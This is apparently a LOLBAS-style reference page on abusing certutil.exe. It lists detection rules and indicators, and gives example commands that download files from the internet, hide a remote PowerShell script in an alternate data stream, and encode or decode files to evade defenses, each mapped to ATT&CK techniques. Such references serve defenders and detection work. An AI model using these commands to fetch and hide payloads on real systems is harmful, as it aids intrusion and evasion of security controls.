

# .. /Certutil.exe

[Download](#)[Alternate data streams](#)[Encode](#)[Decode](#)

Windows binary used for handling certificates

## Paths:

C:\Windows\System32\certutil.exe

C:\Windows\SysWOW64\certutil.exe

## Resources:

- [https://twitter.com/Moriarty\\_Meng/status/984380793383370752](https://twitter.com/Moriarty_Meng/status/984380793383370752)
- <https://twitter.com/mattifestation/status/620107926288515072>
- <https://twitter.com/egre55/status/1087685529016193025>

## Acknowledgements:

- Matt Graeber ([@mattifestation](#))
- Moriarty ([@Moriarty\\_Meng](#))
- egre55 ([@egre55](#))
- Lior Adar

## Detections:

- Sigma:  
[https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process\\_creation/proc\\_creation\\_win\\_certutil\\_download.yml](https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_certutil_download.yml)
- Sigma:  
[https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process\\_creation/proc\\_creation\\_win\\_certutil\\_encode.yml](https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_certutil_encode.yml)
- Sigma:  
[https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process\\_creation/proc\\_creation\\_win\\_certutil\\_decode.yml](https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_certutil_decode.yml)
- Elastic: [https://github.com/elastic/detection-rules/blob/4a11ef9514938e7a7e32cf5f379e975cebf5aed3/rules/windows/defense\\_evasion\\_suspicious\\_certutil\\_commands.toml](https://github.com/elastic/detection-rules/blob/4a11ef9514938e7a7e32cf5f379e975cebf5aed3/rules/windows/defense_evasion_suspicious_certutil_commands.toml)
- Elastic: [https://github.com/elastic/detection-rules/blob/12577f7380f324fcee06dab3218582f4a11833e7/rules/windows/command\\_and\\_control\\_certutil\\_network\\_connection.toml](https://github.com/elastic/detection-rules/blob/12577f7380f324fcee06dab3218582f4a11833e7/rules/windows/command_and_control_certutil_network_connection.toml)
- Splunk:  
[https://github.com/splunk/security\\_content/blob/3f77e24974239fcb7a339080a1a483e6bad84a82/detections/endpoint/certutil\\_download\\_with\\_urlcache\\_and\\_split\\_arguments.yml](https://github.com/splunk/security_content/blob/3f77e24974239fcb7a339080a1a483e6bad84a82/detections/endpoint/certutil_download_with_urlcache_and_split_arguments.yml)
- Splunk:  
[https://github.com/splunk/security\\_content/blob/3f77e24974239fcb7a339080a1a483e6bad84a82/detections/endpoint/certutil\\_download\\_with\\_verifctl\\_and\\_split\\_arguments.yml](https://github.com/splunk/security_content/blob/3f77e24974239fcb7a339080a1a483e6bad84a82/detections/endpoint/certutil_download_with_verifctl_and_split_arguments.yml)
- Splunk:  
[https://github.com/splunk/security\\_content/blob/3f77e24974239fcb7a339080a1a483e6bad84a82/detections/endpoint/certutil\\_with\\_decode\\_argument.yml](https://github.com/splunk/security_content/blob/3f77e24974239fcb7a339080a1a483e6bad84a82/detections/endpoint/certutil_with_decode_argument.yml)

- IOC: Certutil.exe creating new files on disk
- IOC: Useragent Microsoft-CryptoAPI/10.0
- IOC: Useragent CertUtil URL Agent

# Download

. Download and save 7zip to disk in the current folder.

```
certutil.exe -urlcache -split -f http://7-zip.org/a/7z1604-x64.exe 7zip.exe
```

**Use case:** Download file from Internet  
**Privileges required:** User  
**Operating systems:** Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11  
**ATT&CK® technique:** T1105

. Download and save 7zip to disk in the current folder.

```
certutil.exe -verifyctl -f -split http://7-zip.org/a/7z1604-x64.exe 7zip.exe
```

**Use case:** Download file from Internet  
**Privileges required:** User  
**Operating systems:** Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11  
**ATT&CK® technique:** T1105

# Alternate data streams

Download and save a PS1 file to an Alternate Data Stream (ADS).

```
certutil.exe -urlcache -split -f https://raw.githubusercontent.com/Moriarty2016/git/master/test.ps1
c:\temp:ttt
```

**Use case:** Download file from Internet and save it in an NTFS Alternate Data Stream  
**Privileges required:** User  
**Operating systems:** Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11  
**ATT&CK® technique:** T1564.004

# Encode

Command to encode a file using Base64

```
certutil -encode inputFileName encodedOutputFileName
```

**Use case:** Encode files to evade defensive measures  
**Privileges required:** User  
**Operating systems:** Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11  
**ATT&CK® technique:** T1027.013

## Decode

. Command to decode a Base64 encoded file.

```
certutil -decode encodedInputFileName decodedOutputFileName
```

**Use case:** Decode files to evade defensive measures  
**Privileges required:** User  
**Operating systems:** Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11  
**ATT&CK® technique:** T1140

. Command to decode a hexadecimal-encoded file decodedOutputFileName

```
certutil -decodehex encoded_hexadecimal_InputFileName decodedOutputFileName
```

**Use case:** Decode files to evade defensive measures  
**Privileges required:** User  
**Operating systems:** Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11  
**ATT&CK® technique:** T1140